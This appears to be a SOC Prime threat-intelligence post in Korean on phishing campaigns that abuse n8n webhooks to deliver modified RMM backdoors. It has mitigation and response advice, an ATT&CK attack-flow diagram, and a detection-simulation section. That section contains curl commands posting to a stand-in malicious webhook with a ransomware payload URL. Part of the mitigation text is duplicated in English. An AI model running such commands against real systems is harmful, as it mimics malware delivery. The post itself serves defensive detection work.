SOC Prime Bias: 중간

16 4월 2026 15:14

위협 행위자가 n8n을 악용하여 AI 기반 공격 자동화

Author Photo
Ruslan Mikhalov SOC Prime에서 위협 연구 책임자 linkedin icon 팔로우
위협 행위자가 n8n을 악용하여 AI 기반 공격 자동화
shield icon

Detection stack

  • AIDR
  • Alert
  • ETL
  • Query

요약

위협 행위자들이 n8n 로우코드 자동화 플랫폼을 악용하여 악성 페이로드를 배포하고 이메일 수신자를 프로파일링하고 있습니다. 피싱 메시지에 유해한 웹훅 URL을 포함시켜 실행 파일이나 MSI 설치 프로그램을 배포하여 희생자 시스템에 원격 액세스 도구를 설치할 수 있습니다. 이 활동에는 이메일이 열리자마자 희생자 정보를 수집하는 보이지 않는 추적 픽셀 사용도 포함됩니다. 이 캠페인은 합법적인 워크플로우 자동화 서비스가 도난당한 자격 증명 없이 악성 소프트웨어 배포에 재사용될 수 있음을 강조합니다.

조사

시스코 탈로스는 2025년 10월부터 2026년 3월까지 관측된 일련의 피싱 캠페인을 분석했으며, 이메일 메시지에 포함된 n8n 웹훅 URL에 의존했습니다. 유인책은 먼저 CAPTCHA 메시지를 표시하고 악성 .exe 파일이나 MSI 파일을 제공하기 위해 가짜 OneDrive 링크를 사용했습니다. 한 번 실행되면 페이로드는 수정된 버전의 Datto 또는 ITarian RMM 도구를 설치하고 영속성을 유지하기 위해 예약 작업을 생성했습니다. 탈로스는 n8n 웹훅 URL을 포함하는 희생자별 식별자를 호출하는 이미지 태그를 통한 지문 인식 활동도 발견했습니다.

완화

조직은 자동화 서비스를 일반적으로 사용하지 않는 시스템에서 n8n 관련 도메인으로의 비정상적인 아웃바운드 트래픽을 모니터링하고 의심스러운 웹훅 URL 패턴을 검사해야 합니다. 해결되지 않는 n8n.cloud의 알 수 없는 하위 도메인 URL은 사용자 접근이 허용되기 전에 차단하거나 샌드박스에서 해체해야 합니다. 이메일 보안 제어도 악성 HTML 콘텐츠, 가짜 CAPTCHA 흐름 및 숨겨진 추적 픽셀을 감지하도록 조정해야 합니다. 웹훅 URL 및 악성 파일 해시를 포함한 관련 IOC는 위협 인텔리전스 플랫폼 및 내부 방어자와 공유되어야 합니다. n8n.cloud should be blocked or detonated in a sandbox before user access is allowed. Email security controls should also be tuned to detect malicious HTML content, fake CAPTCHA flows, and hidden tracking pixels. Relevant IOCs, including webhook URLs and malicious file hashes, should be shared with threat intelligence platforms and internal defenders.

대응

보안 팀은 이메일 콘텐츠나 네트워크 원격 측정에 n8n 웹훅 URL 존재를 경고하고 의심스러운 활동이 확인되는 즉시 영향을 받은 호스트를 격리해야 합니다. 설치된 모든 RMM 도구와 관련 예약 작업은 제거되어야 하며, 추가적인 영구성 또는 후속 페이로드를 밝혀내기 위한 포렌식 분석이 이어져야 합니다. 방화벽 및 프록시 정책은 승인되지 않은 n8n 엔드포인트에 대한 접근 제한을 업데이트해야 합니다. 조직은 내부 팀과 신뢰할 수 있는 외부 파트너 간 전체 IOC 공유 프로세스를 완료해야 합니다.

“graph TB %% Class Definitions classDef action fill:#99ccff classDef tool fill:#ffcc99 classDef malware fill:#ff9999 classDef process fill:#ccccff %% Nodes action_phishing["<b>Action</b> – <b>T1566 Phishing</b>: Threat actors send malicious emails containing n8n webhook URLs to lure victims.<br/><b>Description</b>: Phishing attempts to deliver malicious content via email."] class action_phishing action tool_webhook["<b>Tool</b> – <b>Name</b>: n8n webhook<br/><b>Description</b>: Custom web endpoint used to deliver payloads."] class tool_webhook tool action_user_execution["<b>Action</b> – <b>T1204.001 User Execution: Malicious Link</b>: Victim clicks the webhook link, causing the browser to request the URL.<br/><b>Description</b>: User interacts with malicious content."] class action_user_execution action action_exfil_webhook1["<b>Action</b> – <b>T1567.004 Exfiltration Over Webhook</b>: Webhook returns a malicious HTML page with a CAPTCHA and streams a payload (EXE or MSI) while serving tracking pixels.<br/><b>Description</b>: Uses a web service to deliver and exfiltrate data."] class action_exfil_webhook1 action malware_payload_exe["<b>Malware</b> – <b>Name</b>: Payload EXE/MSI<br/><b>Description</b>: Executable that runs PowerShell to install a modified RMM tool."] class malware_payload_exe malware action_powershell["<b>Action</b> – <b>T1059.001 PowerShell</b>: Downloaded executable runs PowerShell commands to configure and install the modified RMM tool.<br/><b>Description</b>: Command and scripting interpreter."] class action_powershell action malware_rmm["<b>Malware</b> – <b>Name</b>: Modified RMM backdoor<br/><b>Description</b>: Remote monitoring and management tool used for persistence."] class malware_rmm malware action_service_execution["<b>Action</b> – <b>T1569.002 Service Execution</b>: RMM tool is installed as a Windows service for persistence.<br/><b>Description</b>: Executes via a system service."] class action_service_execution action action_scheduled_task["<b>Action</b> – <b>T1053 Scheduled Task/Job</b>: A scheduled task is created to ensure the RMM tool runs persistently.<br/><b>Description</b>: Ensures recurring execution."] class action_scheduled_task action action_msi_execution["<b>Action</b> – <b>T1218.007 Msiexec</b>: Malicious MSI is executed via msiexec to deploy the RMM backdoor.<br/><b>Description</b>: System binary proxy execution."] class action_msi_execution action action_exfil_webhook2["<b>Action</b> – <b>T1567.004 Exfiltration Over Webhook</b>: Invisible tracking pixel loads the webhook to capture email open events and device information for reconnaissance."] class action_exfil_webhook2 action %% Connections action_phishing –>|delivers| tool_webhook tool_webhook –>|triggers| action_user_execution action_user_execution –>|leads to| action_exfil_webhook1 action_exfil_webhook1 –>|delivers| malware_payload_exe malware_payload_exe –>|executes| action_powershell action_powershell –>|installs| malware_rmm malware_rmm –>|persists via| action_service_execution action_service_execution –>|creates| action_scheduled_task action_scheduled_task –>|supports| action_msi_execution action_msi_execution –>|deploys| malware_rmm malware_rmm –>|communicates via| action_exfil_webhook2 “

공격 흐름

시뮬레이션 실행

전제 조건: 텔레메트리 및 베이스라인 사전 점검이 통과해야 합니다.

이유: 이 섹션은 탐지 규칙을 유발하기 위해 고안된 적의 기술(전술 및 기법)의 정확한 실행을 상세하게 설명합니다. 명령어와 서사는 식별된 TTP를 직접 반영해야 하며, 탐지 논리에 의한 정확한 텔레메트리 생성을 목표로 합니다.

  • 공격 내러티브 및 명령어:

    공격자는 짧은 기간 동안 유지될 도메인을 구매하여 n8n.cloud/webhook에 연결합니다. 공격자는 한번 트리거되면 랜섬웨어 페이로드를 제공하는 악성 n8n 워크플로우를 생성합니다. 피싱 이메일에는 CAPTCHA 도전 과제가 있는 랜딩 페이지로 연결되는 링크가 포함됩니다. 피해자가 CAPTCHA를 해결하면 공격자의 JavaScript가 해당 값을 CAPTCHA=solved123 로 HTTP 본문에 전달합니다. 웹훅은 페이로드를 실행하는 PowerShell 다운로더로 응답합니다. 이 흐름은 URL에 n8n.cloud/webhook and 이 포함된 HTTP 요청을 생성하며, 본문에 CAPTCHA를 포함하며 Sigma 규칙과 완벽하게 일치합니다.

    # 1단계 – 피해자가 CAPTCHA를 완료합니다 (시뮬레이션)
    CAPTCHA_TOKEN="solved123"
    
    # 2단계 – 피해자의 동작을 모방하는 악성 POST를 제작합니다
    curl -X POST "https://my.malicious-n8n.cloud/webhook/malicious-workflow" 
         -H "Content-Type: application/x-www-form-urlencoded" 
         --data-urlencode "CAPTCHA=${CAPTCHA_TOKEN}" 
         --data-urlencode "payload_url=https://malicious.example.com/ransomware.exe"
  • 회귀 테스트 스크립트:

    #!/usr/bin/env bash
    set -euo pipefail
    
    # 변수 – 테스트 환경에 맞게 조정
    WEBHOOK_HOST="my.malicious-n8n.cloud"
    WEBHOOK_PATH="/webhook/malicious-workflow"
    CAPTCHA_TOKEN="solved123"
    PAYLOAD_URL="https://malicious.example.com/ransomware.exe"
    
    echo "[*] CAPTCHA 기반 n8n 웹훅 남용 시뮬레이션 중..."
    
    curl -s -o /dev/null -w "%{http_code}n" -X POST "https://${WEBHOOK_HOST}${WEBHOOK_PATH}" 
         -H "Content-Type: application/x-www-form-urlencoded" 
         --data-urlencode "CAPTCHA=${CAPTCHA_TOKEN}" 
         --data-urlencode "payload_url=${PAYLOAD_URL}"
    
    echo "[+] 시뮬레이션 완료. SIEM에서 탐지 확인."
  • 정리 명령어:

    # 테스트를 위해 실제 웹훅이 생성된 경우, n8n UI 또는 API를 통해 삭제하십시오.
    # 예시 API 호출 (API_KEY 및 WORKFLOW_ID를 대체하십시오):
    curl -X DELETE "https://my.malicious-n8n.cloud/webhook/malicious-workflow" 
         -H "Authorization: Bearer API_KEY"
    
    # 임시 파일 제거 (이 스크립트에서는 생성하지 않음)
    echo "[+] 정리 완료."